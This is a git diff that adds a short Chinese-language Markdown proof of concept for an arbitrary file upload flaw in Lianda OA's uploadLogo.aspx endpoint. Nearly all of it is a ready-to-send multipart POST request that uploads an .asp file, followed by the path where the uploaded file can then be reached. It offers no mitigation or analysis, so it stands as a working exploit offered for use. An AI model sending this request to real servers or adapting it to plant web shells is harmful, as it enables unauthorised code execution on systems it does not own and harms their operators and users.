diff --git a/联达OA uploadLogo.aspx存在任意文件上传.md b/联达OA uploadLogo.aspx存在任意文件上传.md
new file mode 100644
index 0000000..30b6d69
--- /dev/null
+++ b/联达OA uploadLogo.aspx存在任意文件上传.md	
@@ -0,0 +1,24 @@
+## 联达OA uploadLogo.aspx存在任意文件上传
+
+
+## poc
+```
+POST /Hosp_Portal/uploadLogo.aspx HTTP/1.1
+Host: 
+Content-Length: 191
+Content-Type: multipart/form-data; boundary=------------------------OFkXeLxrBXIgRvlvsZIFniBVqbRidnzdYBsZRzuA
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+
+--------------------------OFkXeLxrBXIgRvlvsZIFniBVqbRidnzdYBsZRzuA
+Content-Disposition: form-data; name="DesignId"
+
+1
+--------------------------OFkXeLxrBXIgRvlvsZIFniBVqbRidnzdYBsZRzuA
+Content-Disposition: form-data; name="Filedata";filename="123.asp"
+
+123
+--------------------------OFkXeLxrBXIgRvlvsZIFniBVqbRidnzdYBsZRzuA--
+```
+
+文件路径
+`http://xxx/Hosp_Portal/Logo/123.asp`